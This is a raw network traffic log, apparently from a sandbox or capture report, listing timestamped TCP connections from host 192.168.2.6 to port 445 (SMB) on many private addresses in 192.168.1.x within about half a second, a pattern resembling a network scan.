Jul 6, 2024 14:11:25.397721052 CEST	50403	445	192.168.2.6	192.168.1.130
Jul 6, 2024 14:11:25.400100946 CEST	445	50402	192.168.1.129	192.168.2.6
Jul 6, 2024 14:11:25.400110960 CEST	445	50401	192.168.1.1	192.168.2.6
Jul 6, 2024 14:11:25.400135040 CEST	445	50401	192.168.1.1	192.168.2.6
Jul 6, 2024 14:11:25.400166035 CEST	50402	445	192.168.2.6	192.168.1.129
Jul 6, 2024 14:11:25.404953957 CEST	445	50403	192.168.1.130	192.168.2.6
Jul 6, 2024 14:11:25.405050039 CEST	50403	445	192.168.2.6	192.168.1.130
Jul 6, 2024 14:11:25.405165911 CEST	50403	445	192.168.2.6	192.168.1.130
Jul 6, 2024 14:11:25.412612915 CEST	445	50403	192.168.1.130	192.168.2.6
Jul 6, 2024 14:11:25.413289070 CEST	445	50403	192.168.1.130	192.168.2.6
Jul 6, 2024 14:11:25.413501978 CEST	50404	445	192.168.2.6	192.168.1.2
Jul 6, 2024 14:11:25.413501978 CEST	50405	445	192.168.2.6	192.168.1.3
Jul 6, 2024 14:11:25.413597107 CEST	50406	445	192.168.2.6	192.168.1.131
Jul 6, 2024 14:11:25.420162916 CEST	50403	445	192.168.2.6	192.168.1.130
Jul 6, 2024 14:11:25.420803070 CEST	445	50406	192.168.1.131	192.168.2.6
Jul 6, 2024 14:11:25.420830011 CEST	445	50404	192.168.1.2	192.168.2.6
Jul 6, 2024 14:11:25.420839071 CEST	445	50405	192.168.1.3	192.168.2.6
Jul 6, 2024 14:11:25.420888901 CEST	50406	445	192.168.2.6	192.168.1.131
Jul 6, 2024 14:11:25.421873093 CEST	50404	445	192.168.2.6	192.168.1.2
Jul 6, 2024 14:11:25.421873093 CEST	50405	445	192.168.2.6	192.168.1.3
Jul 6, 2024 14:11:25.421873093 CEST	50404	445	192.168.2.6	192.168.1.2
Jul 6, 2024 14:11:25.421873093 CEST	50405	445	192.168.2.6	192.168.1.3
Jul 6, 2024 14:11:25.427701950 CEST	445	50406	192.168.1.131	192.168.2.6
Jul 6, 2024 14:11:25.427772999 CEST	50406	445	192.168.2.6	192.168.1.131
Jul 6, 2024 14:11:25.428323984 CEST	445	50404	192.168.1.2	192.168.2.6
Jul 6, 2024 14:11:25.428340912 CEST	445	50404	192.168.1.2	192.168.2.6
Jul 6, 2024 14:11:25.428348064 CEST	445	50405	192.168.1.3	192.168.2.6
Jul 6, 2024 14:11:25.429779053 CEST	50406	445	192.168.2.6	192.168.1.131
Jul 6, 2024 14:11:25.429923058 CEST	445	50405	192.168.1.3	192.168.2.6
Jul 6, 2024 14:11:25.430042982 CEST	50405	445	192.168.2.6	192.168.1.3
Jul 6, 2024 14:11:25.430331945 CEST	50407	445	192.168.2.6	192.168.1.132
Jul 6, 2024 14:11:25.434648991 CEST	445	50406	192.168.1.131	192.168.2.6
Jul 6, 2024 14:11:25.435110092 CEST	445	50405	192.168.1.3	192.168.2.6
Jul 6, 2024 14:11:25.435457945 CEST	445	50407	192.168.1.132	192.168.2.6
Jul 6, 2024 14:11:25.436702967 CEST	50407	445	192.168.2.6	192.168.1.132
Jul 6, 2024 14:11:25.436702967 CEST	50407	445	192.168.2.6	192.168.1.132
Jul 6, 2024 14:11:25.444551945 CEST	50408	445	192.168.2.6	192.168.1.4
Jul 6, 2024 14:11:25.444602013 CEST	50409	445	192.168.2.6	192.168.1.5
Jul 6, 2024 14:11:25.445033073 CEST	50410	445	192.168.2.6	192.168.1.133
Jul 6, 2024 14:11:25.445477009 CEST	445	50407	192.168.1.132	192.168.2.6
Jul 6, 2024 14:11:25.445532084 CEST	50407	445	192.168.2.6	192.168.1.132
Jul 6, 2024 14:11:25.451458931 CEST	445	50408	192.168.1.4	192.168.2.6
Jul 6, 2024 14:11:25.451530933 CEST	50408	445	192.168.2.6	192.168.1.4
Jul 6, 2024 14:11:25.451571941 CEST	445	50409	192.168.1.5	192.168.2.6
Jul 6, 2024 14:11:25.451625109 CEST	50409	445	192.168.2.6	192.168.1.5
Jul 6, 2024 14:11:25.451651096 CEST	50408	445	192.168.2.6	192.168.1.4
Jul 6, 2024 14:11:25.451690912 CEST	50409	445	192.168.2.6	192.168.1.5
Jul 6, 2024 14:11:25.451716900 CEST	445	50410	192.168.1.133	192.168.2.6
Jul 6, 2024 14:11:25.451807022 CEST	50410	445	192.168.2.6	192.168.1.133
Jul 6, 2024 14:11:25.451860905 CEST	50410	445	192.168.2.6	192.168.1.133
Jul 6, 2024 14:11:25.458333969 CEST	445	50408	192.168.1.4	192.168.2.6
Jul 6, 2024 14:11:25.458498955 CEST	445	50408	192.168.1.4	192.168.2.6
Jul 6, 2024 14:11:25.458686113 CEST	445	50409	192.168.1.5	192.168.2.6
Jul 6, 2024 14:11:25.458694935 CEST	445	50409	192.168.1.5	192.168.2.6
Jul 6, 2024 14:11:25.459028006 CEST	445	50410	192.168.1.133	192.168.2.6
Jul 6, 2024 14:11:25.459130049 CEST	50410	445	192.168.2.6	192.168.1.133
Jul 6, 2024 14:11:25.460170984 CEST	50411	445	192.168.2.6	192.168.1.134
Jul 6, 2024 14:11:25.467102051 CEST	445	50411	192.168.1.134	192.168.2.6
Jul 6, 2024 14:11:25.467189074 CEST	50411	445	192.168.2.6	192.168.1.134
Jul 6, 2024 14:11:25.474502087 CEST	445	50411	192.168.1.134	192.168.2.6
Jul 6, 2024 14:11:25.474572897 CEST	50411	445	192.168.2.6	192.168.1.134
Jul 6, 2024 14:11:25.475461960 CEST	50411	445	192.168.2.6	192.168.1.134
Jul 6, 2024 14:11:25.475837946 CEST	50412	445	192.168.2.6	192.168.1.6
Jul 6, 2024 14:11:25.476053953 CEST	50413	445	192.168.2.6	192.168.1.135
Jul 6, 2024 14:11:25.482255936 CEST	445	50411	192.168.1.134	192.168.2.6
Jul 6, 2024 14:11:25.482743979 CEST	445	50412	192.168.1.6	192.168.2.6
Jul 6, 2024 14:11:25.482754946 CEST	445	50413	192.168.1.135	192.168.2.6
Jul 6, 2024 14:11:25.482815027 CEST	50412	445	192.168.2.6	192.168.1.6
Jul 6, 2024 14:11:25.482846022 CEST	50413	445	192.168.2.6	192.168.1.135
Jul 6, 2024 14:11:25.482877016 CEST	50412	445	192.168.2.6	192.168.1.6
Jul 6, 2024 14:11:25.482942104 CEST	50413	445	192.168.2.6	192.168.1.135
Jul 6, 2024 14:11:25.487880945 CEST	445	50412	192.168.1.6	192.168.2.6
Jul 6, 2024 14:11:25.489413023 CEST	445	50412	192.168.1.6	192.168.2.6
Jul 6, 2024 14:11:25.489428997 CEST	445	50413	192.168.1.135	192.168.2.6
Jul 6, 2024 14:11:25.489517927 CEST	50413	445	192.168.2.6	192.168.1.135
Jul 6, 2024 14:11:25.491276979 CEST	50414	445	192.168.2.6	192.168.1.8
Jul 6, 2024 14:11:25.491429090 CEST	50415	445	192.168.2.6	192.168.1.7
Jul 6, 2024 14:11:25.491703987 CEST	50416	445	192.168.2.6	192.168.1.136
Jul 6, 2024 14:11:25.497946024 CEST	445	50414	192.168.1.8	192.168.2.6
Jul 6, 2024 14:11:25.498032093 CEST	50414	445	192.168.2.6	192.168.1.8
Jul 6, 2024 14:11:25.498090029 CEST	50414	445	192.168.2.6	192.168.1.8
Jul 6, 2024 14:11:25.498287916 CEST	445	50415	192.168.1.7	192.168.2.6
Jul 6, 2024 14:11:25.498349905 CEST	50415	445	192.168.2.6	192.168.1.7
Jul 6, 2024 14:11:25.498379946 CEST	50415	445	192.168.2.6	192.168.1.7
Jul 6, 2024 14:11:25.498476982 CEST	445	50416	192.168.1.136	192.168.2.6
Jul 6, 2024 14:11:25.498528004 CEST	50416	445	192.168.2.6	192.168.1.136
Jul 6, 2024 14:11:25.505095959 CEST	445	50414	192.168.1.8	192.168.2.6
Jul 6, 2024 14:11:25.505594969 CEST	445	50415	192.168.1.7	192.168.2.6
Jul 6, 2024 14:11:25.505604982 CEST	445	50414	192.168.1.8	192.168.2.6
Jul 6, 2024 14:11:25.506059885 CEST	445	50415	192.168.1.7	192.168.2.6
Jul 6, 2024 14:11:25.506577015 CEST	445	50416	192.168.1.136	192.168.2.6
Jul 6, 2024 14:11:25.506628990 CEST	50416	445	192.168.2.6	192.168.1.136
Jul 6, 2024 14:11:25.506757021 CEST	50416	445	192.168.2.6	192.168.1.136
Jul 6, 2024 14:11:25.506968975 CEST	50417	445	192.168.2.6	192.168.1.9
Jul 6, 2024 14:11:25.507580042 CEST	50418	445	192.168.2.6	192.168.1.137
Jul 6, 2024 14:11:25.514101028 CEST	445	50416	192.168.1.136	192.168.2.6
Jul 6, 2024 14:11:25.514118910 CEST	445	50417	192.168.1.9	192.168.2.6
Jul 6, 2024 14:11:25.514358997 CEST	50417	445	192.168.2.6	192.168.1.9
Jul 6, 2024 14:11:25.514358997 CEST	50417	445	192.168.2.6	192.168.1.9
Jul 6, 2024 14:11:25.515095949 CEST	445	50418	192.168.1.137	192.168.2.6
Jul 6, 2024 14:11:25.515403032 CEST	50418	445	192.168.2.6	192.168.1.137
Jul 6, 2024 14:11:25.516427994 CEST	445	50390	192.168.1.123	192.168.2.6
Jul 6, 2024 14:11:25.517229080 CEST	50390	445	192.168.2.6	192.168.1.123
Jul 6, 2024 14:11:25.521282911 CEST	445	50417	192.168.1.9	192.168.2.6
Jul 6, 2024 14:11:25.521595955 CEST	445	50417	192.168.1.9	192.168.2.6
Jul 6, 2024 14:11:25.522367001 CEST	50418	445	192.168.2.6	192.168.1.137
Jul 6, 2024 14:11:25.522663116 CEST	50419	445	192.168.2.6	192.168.1.10
Jul 6, 2024 14:11:25.522962093 CEST	50420	445	192.168.2.6	192.168.1.138
Jul 6, 2024 14:11:25.523354053 CEST	445	50418	192.168.1.137	192.168.2.6
Jul 6, 2024 14:11:25.524954081 CEST	50418	445	192.168.2.6	192.168.1.137
Jul 6, 2024 14:11:25.528826952 CEST	445	50418	192.168.1.137	192.168.2.6
Jul 6, 2024 14:11:25.528836012 CEST	445	50419	192.168.1.10	192.168.2.6
Jul 6, 2024 14:11:25.530101061 CEST	445	50420	192.168.1.138	192.168.2.6
Jul 6, 2024 14:11:25.530194998 CEST	50419	445	192.168.2.6	192.168.1.10
Jul 6, 2024 14:11:25.530194998 CEST	50419	445	192.168.2.6	192.168.1.10
Jul 6, 2024 14:11:25.531277895 CEST	50420	445	192.168.2.6	192.168.1.138
Jul 6, 2024 14:11:25.531277895 CEST	50420	445	192.168.2.6	192.168.1.138
Jul 6, 2024 14:11:25.537808895 CEST	445	50419	192.168.1.10	192.168.2.6
Jul 6, 2024 14:11:25.537825108 CEST	445	50419	192.168.1.10	192.168.2.6
Jul 6, 2024 14:11:25.538319111 CEST	50419	445	192.168.2.6	192.168.1.10
Jul 6, 2024 14:11:25.538455963 CEST	445	50420	192.168.1.138	192.168.2.6
Jul 6, 2024 14:11:25.538567066 CEST	50420	445	192.168.2.6	192.168.1.138
Jul 6, 2024 14:11:25.539889097 CEST	50421	445	192.168.2.6	192.168.1.139
Jul 6, 2024 14:11:25.545366049 CEST	445	50419	192.168.1.10	192.168.2.6
Jul 6, 2024 14:11:25.547012091 CEST	445	50421	192.168.1.139	192.168.2.6
Jul 6, 2024 14:11:25.547324896 CEST	50421	445	192.168.2.6	192.168.1.139
Jul 6, 2024 14:11:25.553778887 CEST	50421	445	192.168.2.6	192.168.1.139
Jul 6, 2024 14:11:25.554183960 CEST	50423	445	192.168.2.6	192.168.1.11
Jul 6, 2024 14:11:25.554714918 CEST	445	50421	192.168.1.139	192.168.2.6
Jul 6, 2024 14:11:25.554843903 CEST	50421	445	192.168.2.6	192.168.1.139
Jul 6, 2024 14:11:25.554868937 CEST	50424	445	192.168.2.6	192.168.1.140
Jul 6, 2024 14:11:25.557595968 CEST	50422	445	192.168.2.6	192.168.1.12
Jul 6, 2024 14:11:25.560389996 CEST	445	50421	192.168.1.139	192.168.2.6
Jul 6, 2024 14:11:25.560419083 CEST	445	50423	192.168.1.11	192.168.2.6
Jul 6, 2024 14:11:25.560475111 CEST	50423	445	192.168.2.6	192.168.1.11
Jul 6, 2024 14:11:25.560518980 CEST	50423	445	192.168.2.6	192.168.1.11
Jul 6, 2024 14:11:25.564402103 CEST	445	50424	192.168.1.140	192.168.2.6
Jul 6, 2024 14:11:25.564445019 CEST	445	50422	192.168.1.12	192.168.2.6
Jul 6, 2024 14:11:25.564460993 CEST	50424	445	192.168.2.6	192.168.1.140
Jul 6, 2024 14:11:25.564508915 CEST	50422	445	192.168.2.6	192.168.1.12
Jul 6, 2024 14:11:25.564538002 CEST	50422	445	192.168.2.6	192.168.1.12
Jul 6, 2024 14:11:25.564980984 CEST	50424	445	192.168.2.6	192.168.1.140
Jul 6, 2024 14:11:25.565701962 CEST	445	50423	192.168.1.11	192.168.2.6
Jul 6, 2024 14:11:25.569298029 CEST	445	50423	192.168.1.11	192.168.2.6
Jul 6, 2024 14:11:25.569762945 CEST	445	50422	192.168.1.12	192.168.2.6
Jul 6, 2024 14:11:25.569802999 CEST	50425	445	192.168.2.6	192.168.1.13
Jul 6, 2024 14:11:25.570677042 CEST	50426	445	192.168.2.6	192.168.1.141
Jul 6, 2024 14:11:25.570775032 CEST	445	50424	192.168.1.140	192.168.2.6
Jul 6, 2024 14:11:25.571305990 CEST	445	50424	192.168.1.140	192.168.2.6
Jul 6, 2024 14:11:25.571593046 CEST	445	50422	192.168.1.12	192.168.2.6
Jul 6, 2024 14:11:25.574307919 CEST	50424	445	192.168.2.6	192.168.1.140
Jul 6, 2024 14:11:25.576628923 CEST	445	50426	192.168.1.141	192.168.2.6
Jul 6, 2024 14:11:25.576828003 CEST	445	50425	192.168.1.13	192.168.2.6
Jul 6, 2024 14:11:25.576870918 CEST	50425	445	192.168.2.6	192.168.1.13
Jul 6, 2024 14:11:25.576932907 CEST	50425	445	192.168.2.6	192.168.1.13
Jul 6, 2024 14:11:25.577908039 CEST	50426	445	192.168.2.6	192.168.1.141
Jul 6, 2024 14:11:25.577908039 CEST	50426	445	192.168.2.6	192.168.1.141
Jul 6, 2024 14:11:25.581825972 CEST	445	50425	192.168.1.13	192.168.2.6
Jul 6, 2024 14:11:25.582583904 CEST	445	50425	192.168.1.13	192.168.2.6
Jul 6, 2024 14:11:25.583655119 CEST	445	50426	192.168.1.141	192.168.2.6
Jul 6, 2024 14:11:25.583714008 CEST	50426	445	192.168.2.6	192.168.1.141
Jul 6, 2024 14:11:25.583882093 CEST	445	50426	192.168.1.141	192.168.2.6
Jul 6, 2024 14:11:25.585582018 CEST	50427	445	192.168.2.6	192.168.1.142
Jul 6, 2024 14:11:25.590590000 CEST	445	50427	192.168.1.142	192.168.2.6
Jul 6, 2024 14:11:25.592571974 CEST	50427	445	192.168.2.6	192.168.1.142
Jul 6, 2024 14:11:25.592571974 CEST	50427	445	192.168.2.6	192.168.1.142
Jul 6, 2024 14:11:25.601233959 CEST	50429	445	192.168.2.6	192.168.1.143
Jul 6, 2024 14:11:25.602164984 CEST	445	50427	192.168.1.142	192.168.2.6
Jul 6, 2024 14:11:25.602591991 CEST	50428	445	192.168.2.6	192.168.1.14
Jul 6, 2024 14:11:25.605895996 CEST	50427	445	192.168.2.6	192.168.1.142
Jul 6, 2024 14:11:25.606765985 CEST	445	50429	192.168.1.143	192.168.2.6
Jul 6, 2024 14:11:25.606847048 CEST	50429	445	192.168.2.6	192.168.1.143
Jul 6, 2024 14:11:25.609538078 CEST	445	50428	192.168.1.14	192.168.2.6
Jul 6, 2024 14:11:25.610625982 CEST	50428	445	192.168.2.6	192.168.1.14
Jul 6, 2024 14:11:25.612271070 CEST	445	50429	192.168.1.143	192.168.2.6
Jul 6, 2024 14:11:25.612394094 CEST	50428	445	192.168.2.6	192.168.1.14
Jul 6, 2024 14:11:25.612665892 CEST	50429	445	192.168.2.6	192.168.1.143
Jul 6, 2024 14:11:25.612665892 CEST	50429	445	192.168.2.6	192.168.1.143
Jul 6, 2024 14:11:25.616384983 CEST	445	50428	192.168.1.14	192.168.2.6
Jul 6, 2024 14:11:25.616441965 CEST	50428	445	192.168.2.6	192.168.1.14
Jul 6, 2024 14:11:25.617619038 CEST	445	50428	192.168.1.14	192.168.2.6
Jul 6, 2024 14:11:25.619504929 CEST	50430	445	192.168.2.6	192.168.1.144
Jul 6, 2024 14:11:25.620698929 CEST	445	50429	192.168.1.143	192.168.2.6
Jul 6, 2024 14:11:25.621599913 CEST	445	50428	192.168.1.14	192.168.2.6
Jul 6, 2024 14:11:25.624525070 CEST	445	50430	192.168.1.144	192.168.2.6
Jul 6, 2024 14:11:25.626045942 CEST	50430	445	192.168.2.6	192.168.1.144
Jul 6, 2024 14:11:25.631699085 CEST	445	50430	192.168.1.144	192.168.2.6
Jul 6, 2024 14:11:25.631808996 CEST	50430	445	192.168.2.6	192.168.1.144
Jul 6, 2024 14:11:25.631808996 CEST	50430	445	192.168.2.6	192.168.1.144
Jul 6, 2024 14:11:25.632041931 CEST	50432	445	192.168.2.6	192.168.1.17
Jul 6, 2024 14:11:25.632189989 CEST	50433	445	192.168.2.6	192.168.1.15
Jul 6, 2024 14:11:25.633249044 CEST	50434	445	192.168.2.6	192.168.1.145
Jul 6, 2024 14:11:25.633496046 CEST	50431	445	192.168.2.6	192.168.1.16
Jul 6, 2024 14:11:25.636986017 CEST	445	50432	192.168.1.17	192.168.2.6
Jul 6, 2024 14:11:25.637052059 CEST	50432	445	192.168.2.6	192.168.1.17
Jul 6, 2024 14:11:25.637113094 CEST	445	50433	192.168.1.15	192.168.2.6
Jul 6, 2024 14:11:25.637134075 CEST	50432	445	192.168.2.6	192.168.1.17
Jul 6, 2024 14:11:25.637161970 CEST	50433	445	192.168.2.6	192.168.1.15
Jul 6, 2024 14:11:25.637166023 CEST	445	50430	192.168.1.144	192.168.2.6
Jul 6, 2024 14:11:25.637198925 CEST	50433	445	192.168.2.6	192.168.1.15
Jul 6, 2024 14:11:25.638942003 CEST	445	50434	192.168.1.145	192.168.2.6
Jul 6, 2024 14:11:25.638988972 CEST	50434	445	192.168.2.6	192.168.1.145
Jul 6, 2024 14:11:25.639065027 CEST	50434	445	192.168.2.6	192.168.1.145
Jul 6, 2024 14:11:25.639297009 CEST	445	50431	192.168.1.16	192.168.2.6
Jul 6, 2024 14:11:25.641215086 CEST	50431	445	192.168.2.6	192.168.1.16
Jul 6, 2024 14:11:25.641215086 CEST	50431	445	192.168.2.6	192.168.1.16
Jul 6, 2024 14:11:25.642003059 CEST	445	50432	192.168.1.17	192.168.2.6
Jul 6, 2024 14:11:25.642011881 CEST	445	50433	192.168.1.15	192.168.2.6
Jul 6, 2024 14:11:25.642266035 CEST	445	50432	192.168.1.17	192.168.2.6
Jul 6, 2024 14:11:25.642602921 CEST	445	50433	192.168.1.15	192.168.2.6
Jul 6, 2024 14:11:25.644407988 CEST	445	50434	192.168.1.145	192.168.2.6
Jul 6, 2024 14:11:25.644453049 CEST	50434	445	192.168.2.6	192.168.1.145
Jul 6, 2024 14:11:25.647409916 CEST	50435	445	192.168.2.6	192.168.1.18
Jul 6, 2024 14:11:25.647607088 CEST	50436	445	192.168.2.6	192.168.1.146
Jul 6, 2024 14:11:25.647766113 CEST	445	50431	192.168.1.16	192.168.2.6
Jul 6, 2024 14:11:25.648578882 CEST	445	50431	192.168.1.16	192.168.2.6
Jul 6, 2024 14:11:25.652589083 CEST	445	50435	192.168.1.18	192.168.2.6
Jul 6, 2024 14:11:25.652654886 CEST	50435	445	192.168.2.6	192.168.1.18
Jul 6, 2024 14:11:25.652736902 CEST	50435	445	192.168.2.6	192.168.1.18
Jul 6, 2024 14:11:25.653171062 CEST	445	50436	192.168.1.146	192.168.2.6
Jul 6, 2024 14:11:25.653228045 CEST	50436	445	192.168.2.6	192.168.1.146
Jul 6, 2024 14:11:25.653286934 CEST	50436	445	192.168.2.6	192.168.1.146
Jul 6, 2024 14:11:25.653527021 CEST	50431	445	192.168.2.6	192.168.1.16
Jul 6, 2024 14:11:25.657752991 CEST	445	50435	192.168.1.18	192.168.2.6
Jul 6, 2024 14:11:25.657804966 CEST	50435	445	192.168.2.6	192.168.1.18
Jul 6, 2024 14:11:25.658030987 CEST	445	50435	192.168.1.18	192.168.2.6
Jul 6, 2024 14:11:25.658443928 CEST	445	50436	192.168.1.146	192.168.2.6
Jul 6, 2024 14:11:25.658674002 CEST	445	50431	192.168.1.16	192.168.2.6
Jul 6, 2024 14:11:25.660085917 CEST	50436	445	192.168.2.6	192.168.1.146
Jul 6, 2024 14:11:25.662777901 CEST	445	50435	192.168.1.18	192.168.2.6
Jul 6, 2024 14:11:25.664514065 CEST	50437	445	192.168.2.6	192.168.1.147
Jul 6, 2024 14:11:25.669703007 CEST	445	50437	192.168.1.147	192.168.2.6
Jul 6, 2024 14:11:25.669786930 CEST	50437	445	192.168.2.6	192.168.1.147
Jul 6, 2024 14:11:25.670366049 CEST	50437	445	192.168.2.6	192.168.1.147
Jul 6, 2024 14:11:25.676574945 CEST	445	50437	192.168.1.147	192.168.2.6
Jul 6, 2024 14:11:25.677292109 CEST	50437	445	192.168.2.6	192.168.1.147
Jul 6, 2024 14:11:25.683554888 CEST	50438	445	192.168.2.6	192.168.1.148
Jul 6, 2024 14:11:25.689584017 CEST	445	50438	192.168.1.148	192.168.2.6
Jul 6, 2024 14:11:25.689769030 CEST	50438	445	192.168.2.6	192.168.1.148
Jul 6, 2024 14:11:25.689769030 CEST	50438	445	192.168.2.6	192.168.1.148
Jul 6, 2024 14:11:25.694515944 CEST	50440	445	192.168.2.6	192.168.1.20
Jul 6, 2024 14:11:25.694515944 CEST	50439	445	192.168.2.6	192.168.1.19
Jul 6, 2024 14:11:25.694637060 CEST	50441	445	192.168.2.6	192.168.1.21
Jul 6, 2024 14:11:25.694839954 CEST	50442	445	192.168.2.6	192.168.1.149
Jul 6, 2024 14:11:25.695046902 CEST	445	50438	192.168.1.148	192.168.2.6
Jul 6, 2024 14:11:25.695094109 CEST	50438	445	192.168.2.6	192.168.1.148
Jul 6, 2024 14:11:25.699577093 CEST	445	50440	192.168.1.20	192.168.2.6
Jul 6, 2024 14:11:25.699736118 CEST	445	50439	192.168.1.19	192.168.2.6
Jul 6, 2024 14:11:25.699831009 CEST	445	50441	192.168.1.21	192.168.2.6
Jul 6, 2024 14:11:25.699841022 CEST	445	50442	192.168.1.149	192.168.2.6
Jul 6, 2024 14:11:25.699914932 CEST	50442	445	192.168.2.6	192.168.1.149
Jul 6, 2024 14:11:25.700031042 CEST	50442	445	192.168.2.6	192.168.1.149
Jul 6, 2024 14:11:25.701215982 CEST	50440	445	192.168.2.6	192.168.1.20
Jul 6, 2024 14:11:25.701215982 CEST	50440	445	192.168.2.6	192.168.1.20
Jul 6, 2024 14:11:25.701215982 CEST	50441	445	192.168.2.6	192.168.1.21
Jul 6, 2024 14:11:25.701215982 CEST	50441	445	192.168.2.6	192.168.1.21
Jul 6, 2024 14:11:25.701531887 CEST	50439	445	192.168.2.6	192.168.1.19
Jul 6, 2024 14:11:25.701531887 CEST	50439	445	192.168.2.6	192.168.1.19
Jul 6, 2024 14:11:25.705261946 CEST	445	50442	192.168.1.149	192.168.2.6
Jul 6, 2024 14:11:25.705270052 CEST	445	50442	192.168.1.149	192.168.2.6
Jul 6, 2024 14:11:25.706242085 CEST	445	50440	192.168.1.20	192.168.2.6
Jul 6, 2024 14:11:25.706249952 CEST	445	50441	192.168.1.21	192.168.2.6
Jul 6, 2024 14:11:25.706408024 CEST	445	50440	192.168.1.20	192.168.2.6
Jul 6, 2024 14:11:25.706424952 CEST	445	50439	192.168.1.19	192.168.2.6
Jul 6, 2024 14:11:25.706862926 CEST	445	50441	192.168.1.21	192.168.2.6
Jul 6, 2024 14:11:25.707046986 CEST	445	50439	192.168.1.19	192.168.2.6
Jul 6, 2024 14:11:25.709933996 CEST	50443	445	192.168.2.6	192.168.1.22
Jul 6, 2024 14:11:25.714088917 CEST	50444	445	192.168.2.6	192.168.1.150
Jul 6, 2024 14:11:25.714742899 CEST	445	50443	192.168.1.22	192.168.2.6
Jul 6, 2024 14:11:25.714829922 CEST	50443	445	192.168.2.6	192.168.1.22
Jul 6, 2024 14:11:25.714895964 CEST	50443	445	192.168.2.6	192.168.1.22
Jul 6, 2024 14:11:25.720005989 CEST	445	50443	192.168.1.22	192.168.2.6
Jul 6, 2024 14:11:25.720057964 CEST	50443	445	192.168.2.6	192.168.1.22
Jul 6, 2024 14:11:25.720299959 CEST	445	50443	192.168.1.22	192.168.2.6
Jul 6, 2024 14:11:25.725159883 CEST	445	50443	192.168.1.22	192.168.2.6
Jul 6, 2024 14:11:25.725354910 CEST	445	50444	192.168.1.150	192.168.2.6
Jul 6, 2024 14:11:25.727144003 CEST	50445	445	192.168.2.6	192.168.1.23
Jul 6, 2024 14:11:25.728387117 CEST	50444	445	192.168.2.6	192.168.1.150
Jul 6, 2024 14:11:25.728387117 CEST	50444	445	192.168.2.6	192.168.1.150
Jul 6, 2024 14:11:25.728387117 CEST	50446	445	192.168.2.6	192.168.1.151
Jul 6, 2024 14:11:25.733292103 CEST	445	50446	192.168.1.151	192.168.2.6
Jul 6, 2024 14:11:25.733503103 CEST	445	50444	192.168.1.150	192.168.2.6
Jul 6, 2024 14:11:25.733975887 CEST	50446	445	192.168.2.6	192.168.1.151
Jul 6, 2024 14:11:25.733975887 CEST	50444	445	192.168.2.6	192.168.1.150
Jul 6, 2024 14:11:25.736179113 CEST	445	50445	192.168.1.23	192.168.2.6
Jul 6, 2024 14:11:25.736995935 CEST	50445	445	192.168.2.6	192.168.1.23
Jul 6, 2024 14:11:25.736995935 CEST	50445	445	192.168.2.6	192.168.1.23
Jul 6, 2024 14:11:25.739593029 CEST	445	50446	192.168.1.151	192.168.2.6
Jul 6, 2024 14:11:25.741136074 CEST	50446	445	192.168.2.6	192.168.1.151
Jul 6, 2024 14:11:25.741136074 CEST	50446	445	192.168.2.6	192.168.1.151
Jul 6, 2024 14:11:25.741290092 CEST	50447	445	192.168.2.6	192.168.1.24
Jul 6, 2024 14:11:25.743170977 CEST	50448	445	192.168.2.6	192.168.1.152
Jul 6, 2024 14:11:25.744209051 CEST	445	50445	192.168.1.23	192.168.2.6
Jul 6, 2024 14:11:25.744820118 CEST	445	50445	192.168.1.23	192.168.2.6
Jul 6, 2024 14:11:25.746598005 CEST	445	50447	192.168.1.24	192.168.2.6
Jul 6, 2024 14:11:25.746686935 CEST	50447	445	192.168.2.6	192.168.1.24
Jul 6, 2024 14:11:25.746870995 CEST	50447	445	192.168.2.6	192.168.1.24
Jul 6, 2024 14:11:25.747805119 CEST	445	50446	192.168.1.151	192.168.2.6
Jul 6, 2024 14:11:25.748226881 CEST	445	50448	192.168.1.152	192.168.2.6
Jul 6, 2024 14:11:25.748749971 CEST	50448	445	192.168.2.6	192.168.1.152
Jul 6, 2024 14:11:25.748749971 CEST	50448	445	192.168.2.6	192.168.1.152
Jul 6, 2024 14:11:25.751857996 CEST	445	50447	192.168.1.24	192.168.2.6
Jul 6, 2024 14:11:25.754475117 CEST	445	50448	192.168.1.152	192.168.2.6
Jul 6, 2024 14:11:25.754535913 CEST	50448	445	192.168.2.6	192.168.1.152
Jul 6, 2024 14:11:25.756860018 CEST	50449	445	192.168.2.6	192.168.1.25
Jul 6, 2024 14:11:25.757055998 CEST	50450	445	192.168.2.6	192.168.1.153
Jul 6, 2024 14:11:25.761919975 CEST	445	50449	192.168.1.25	192.168.2.6
Jul 6, 2024 14:11:25.761930943 CEST	445	50450	192.168.1.153	192.168.2.6
Jul 6, 2024 14:11:25.762049913 CEST	50450	445	192.168.2.6	192.168.1.153
Jul 6, 2024 14:11:25.762152910 CEST	50450	445	192.168.2.6	192.168.1.153
Jul 6, 2024 14:11:25.763365984 CEST	50449	445	192.168.2.6	192.168.1.25
Jul 6, 2024 14:11:25.763365984 CEST	50449	445	192.168.2.6	192.168.1.25
Jul 6, 2024 14:11:25.767429113 CEST	445	50450	192.168.1.153	192.168.2.6
Jul 6, 2024 14:11:25.767488003 CEST	50450	445	192.168.2.6	192.168.1.153
Jul 6, 2024 14:11:25.770673037 CEST	445	50449	192.168.1.25	192.168.2.6
Jul 6, 2024 14:11:25.770924091 CEST	445	50449	192.168.1.25	192.168.2.6
Jul 6, 2024 14:11:25.772593021 CEST	50451	445	192.168.2.6	192.168.1.26
Jul 6, 2024 14:11:25.772699118 CEST	50452	445	192.168.2.6	192.168.1.154
Jul 6, 2024 14:11:25.777789116 CEST	445	50451	192.168.1.26	192.168.2.6
Jul 6, 2024 14:11:25.777806997 CEST	445	50452	192.168.1.154	192.168.2.6
Jul 6, 2024 14:11:25.778343916 CEST	50451	445	192.168.2.6	192.168.1.26
Jul 6, 2024 14:11:25.778343916 CEST	50451	445	192.168.2.6	192.168.1.26
Jul 6, 2024 14:11:25.779346943 CEST	50452	445	192.168.2.6	192.168.1.154
Jul 6, 2024 14:11:25.779346943 CEST	50452	445	192.168.2.6	192.168.1.154
Jul 6, 2024 14:11:25.786803961 CEST	445	50452	192.168.1.154	192.168.2.6
Jul 6, 2024 14:11:25.787041903 CEST	50452	445	192.168.2.6	192.168.1.154
Jul 6, 2024 14:11:25.789644957 CEST	50453	445	192.168.2.6	192.168.1.155
Jul 6, 2024 14:11:25.790247917 CEST	445	50451	192.168.1.26	192.168.2.6
Jul 6, 2024 14:11:25.790256977 CEST	445	50451	192.168.1.26	192.168.2.6
Jul 6, 2024 14:11:25.794429064 CEST	445	50453	192.168.1.155	192.168.2.6
Jul 6, 2024 14:11:25.795604944 CEST	50453	445	192.168.2.6	192.168.1.155
Jul 6, 2024 14:11:25.795604944 CEST	50453	445	192.168.2.6	192.168.1.155
Jul 6, 2024 14:11:25.800595045 CEST	445	50453	192.168.1.155	192.168.2.6
